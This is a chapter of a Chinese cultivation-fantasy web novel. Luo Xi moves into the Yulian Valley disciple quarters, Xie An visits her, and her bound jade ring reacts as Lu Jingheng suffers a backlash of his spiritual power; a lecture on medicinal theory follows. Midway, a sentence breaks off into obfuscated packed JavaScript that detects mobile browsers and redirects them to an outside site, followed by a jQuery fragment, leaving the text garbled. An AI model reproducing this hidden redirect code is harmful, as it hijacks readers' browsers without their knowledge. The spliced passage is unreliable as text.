玉莲谷外门弟子的居所位于一片依山而建的青瓦白墙院落中,名为归安所。


    环境清幽,风过时,可以听到不远处竹林的沙沙声。


    洛熙被分配到一间狭小的单人间。屋内陈设极其简单,一床、一桌、一椅、一个简陋的衣柜。


    床上,放着一套玉莲谷的弟子服,一件白灰的纱裙,看起来十分单薄。


    洛熙简单收拾了一下,换上了弟子服,正准备打坐调息,缓解一下腿上的伤痛,房门便被不轻不重的敲响。


    “谁?”洛熙问道。


    门外传来一个故作沉稳,却难掩少年清亮音色的声音:“是我。”


    是谢安。


    洛熙打开门,见谢小公子也已经换上了谷中的弟子服,比之前少了几分张扬,多了几分少年人的清俊。


    只是他微扬着下巴,面上写满的‘小爷来看看你过得怎么样’的倨傲神色,与在秘境中一般无二,丝毫未变。


    他歪头快速扫过洛熙的房间,又将目光移到洛熙面上,问道:“你那师兄呢?”


    洛熙垂眸,故作失落,叹道:“师兄他没能集齐百种草药,已经返回碧波派了。”


    谢安眼中快速的闪过一丝自得,面上现出一副‘果然如此’的神色。


    洛熙敛了悲容,侧身让他进来:“谢公子找我可是有何事?”


    “我只是来看看,你有没有给我谢安丢人。”他一边说,一边要向房内走去,却在迈出一步后停了下来。


    像是突然意识到了什么,他面色变得有些古怪,眼神飘忽了一下,耳尖悄然攀上一抹浅红,语气也带了些许别扭和教训的意味:


    “你身为一个女子,怎可随意随意让男子进入你的房间?孤男寡女的,成何体统!”


    洛熙一愣,显然没想到这一层。这些规矩她并非不懂,只是这三年来她颠沛流离,一心只有复仇,哪里还会讲究这么多。


    就在她因为这小小的尴尬有些无所适从之际,突觉右手食指上阵阵异样。


    那枚海棠玉戒,本是触手冰凉之物,此刻却毫无征兆地温热起来,并且温度还在持续攀升,不过眨眼功夫,竟已变得有些滚烫,渐有灼人之势。


    这突如其来的变化拉回了她的思绪。


    她拇指移上玉戒,略微用力想将其褪下,却发现那戒指好似和自己的筋骨长在了一处。


    任她如何暗中使力,甚至悄然运转了一圈灵力,那玉戒始终纹丝不动。


    无奈之下,她只得暂时将食指攥住,试图用掌心的温度来冷却这阵灼痛。


    “谢公子所言极是。”她声音微弱,态度谦逊,一副歉疚模样。


    “哼,最好如此。”谢安撇撇嘴,视线下移落在她腿上,“秘境中无法施展灵力,只是用草药为你解了毒,你的腿伤可治好了?”


    洛熙挪了挪腿,手上炽热之感越发难耐,只想尽快打发走谢安,“已经好了,谢公子不必担心。”


    谢安站在原地僵了片刻,慢吞吞的将手伸进袖中,飞快地从中掏出一个做工精巧、散发着奇异清香的香囊,看也不看就快速扔给洛熙。


    洛熙单手接住,“这是……?”


    谢安看向别处,语速极快的辩解道:“驱虫散!归安所靠近后山,蚊虫又多又毒。小爷我不过是……不过是看在你刚刚好歹帮了我一把的份上……”


    他停顿了片刻,似乎觉得这个理由还不够充分,欲盖弥彰道:“你可别多想,小爷我恩怨分明,最讨厌欠人人情,这东西我随手就能配出来十个,给你一个不过是两清了,对!两清了。”


    说完,他生怕再听到洛熙说出什么感谢的话,甩头就走,“明日辰时讲殿有课,别迟到!”


    看着谢安近乎同手同脚,带着点仓惶意味的背影消失在院门拐角,洛熙反手关上房门。


    她顾不得细看谢安的香囊,食指的灼热之感已经强烈到无法忍受,几乎快要灼痛掌心。


    然而,出乎意料的是,摊开的掌心,依旧白皙细嫩,就连那枚带着海棠玉戒的食指,也没有任何异常。


    这不对劲……


    她再次调动灵力,试图摘下戒指,可注入的灵力越多,手上的不适感就越重,这股火热的气息顺着指骨直窜心脉。


    心口一阵刺痛,她双膝一软,身子向前倒去,幸而在额头碰上桌角的前一刻扶住了一旁的椅背。


    这陆景桓给的,到底是什么鬼东西……


    与此同时,听雪轩内。


    陆景桓端坐在书案前,捏着书脊的手突然一紧,一缕暗红血迹不受控制地从嘴角溢出,顺着下颌线砸在案上摊开的纸页上。


    “反噬……偏偏是这个时候……”他气息紊乱,声音嘶哑,手背上青筋暴突。


    从往生境出来后,本就耗费巨大的灵力为洛熙修补灵脉,受的伤也并未休养。


    又压制旧伤潜入玉莲谷,动用神识在封锁灵力的秘境中为她搜寻草药,已然牵动了根基。


    周身原本平稳运转的晦深灵力突然像沸水般翻腾起来。


    红丝缠在体内翻搅,五脏六腑都要被这霸道的力量搅碎。然而在这几乎淹没一切的痛苦,却掺入了一丝别样的感觉。


    他戴着蟠龙戒的手指微微动了动,双眼豁然睁开。


    是子戒被强行触动……试图剥离?


    陆景桓混沌的脑海中闪过这个念头。


    是了,这是一对被施了并蒂咒的子母戒,不仅可以互相通信,母戒佩戴者也可以时刻感知子戒佩戴者的状态。


    关键时刻,母戒佩戴者还会为对方承伤。


    但子戒佩戴者,戒指上手那一刻,便再不能自主摘下,除非是母戒佩戴者亲手为其摘下。


    洛熙定是因他暴动的灵力感应到了什么,才会想摘下它。殊不知,她越是如此,子戒的抵抗就会更强。


    他艰难的抬起手,用最后的理智勉强聚起一缕灵流,注入到蟠龙戒中。


    “不想手废掉……就安分些。”


    正被指骨灼痛折磨得心烦意乱的洛熙,脑海中突然炸开这么一句冰冷又虚弱的警告。


    是陆景桓的声音。


    洛熙手上动作一顿,他的状态……似乎有些不对。


    就在她愣神之际,指上灼烫的热度似乎因为她的停止反抗缓和了一些,虽然依旧滚烫,却不在那般疯狂地往身体各处钻。


    洛熙看着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246988|178981||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自己微微颤抖的右手,又回想了一下脑中那个疲惫虚弱的声音,一个念头闪过:难道这戒指的反应……与他有关?


    她不再强硬的想要摘下,而是念了个法诀,缓和的将灵力注入其中。


    “陆景桓,你怎么了?”


    然而这一次,她的询问却石沉大海,迟迟没有得到回应。


    她翻身上床,握着掌心还剩些余温的玉戒,目光沉静悠远,不知在想些什么。


    翌日,辰时。


    讲殿内,数十名新弟子正襟危坐,正目不转睛的看着眼前授课的长老。


    授课的长老身着宽大的道袍,续着花白胡子,面容慈祥,语气慢吞吞的,听得人昏昏欲睡,可底下却没一个人懈怠。


    “药理,乃我玉莲谷根基,自古医毒不分家,要想学好制毒,这首要任务,便是精通药理……”


    他讲得滔滔不绝,半个时辰内,一直在介绍药理于制毒的必要性,一点关于草药的习性也没讲。


    终于,有一位弟子听不下去,趁他讲话的间隙,诚心发问:“长老,玉莲谷作为一大仙门,为何只学制毒,不学术法。”


    此话一出,台下顿起一片窃窃私语。


    台上长老点了点头,发出一声尾音极长的‘嗯’,继续用他那慢吞吞的语速解释道:“术法,自然要学。”


    “但是,那是内门弟子的教习内容,若你们通过一月后的内门大比……”


    教习先生换了个话题,说起内门弟子的优渥待遇也毫不含糊。


    台下不少弟子双眼放光,仿佛已经看到自己成为内门弟子后,用术法搅弄天地、呼风唤雨的生活。


    然而洛熙却格外心不在焉。


    她抚上指上的海棠玉戒,始终想不明白,陆景桓昨日为何对她数次投放过去的意念没有任何回应。


    他并非会是那种会故意无视她消息之人,除非……他做不到?


    她能想到的,能让他连这点基本术法都施展不出的,就只有反噬了。


    可偏他反噬发作,她还会有所感应。


    她越想越觉得这戒指是个烫手山芋,奈何她无论如何也摘不下。


    “故此,尔等务必要勤学药理知识,如此方能在内门大比中脱颖而出,得窥大道真谛……”长老慢悠悠的声音成了最好的背景板。


    就在这时,坐在洛熙旁边的周小慧戳了戳洛熙的胳膊,压低声音道:“洛师妹洛师妹!你快看谢小公子!”


    洛熙被迫从对陆景桓的猜疑中回过神来,顺着周小慧的视线看过去。


    就见斜前方的谢安,脊背挺直,目视前方,看似认真听讲,实则一只手藏在桌下。正对着袖口一颗蔫头耷脑的毒草练习虚空提取术。


    他手指飞快地掐着诀,一遍又一遍,不厌其烦,可最终都以失败告终。


    似乎是察觉到了身后的目光,谢安动作一僵,迅速将毒草塞入袖中,还故作镇定地调整了一下坐姿,看起来滑稽极了。


    周小慧捂着嘴笑,凑近洛熙耳边,“谢小公子定是听说了内门弟子要教习术法,提前练习呢,看他那别扭样!”


    洛熙忍不住弯了弯嘴角。这位谢小公子,还真是有趣。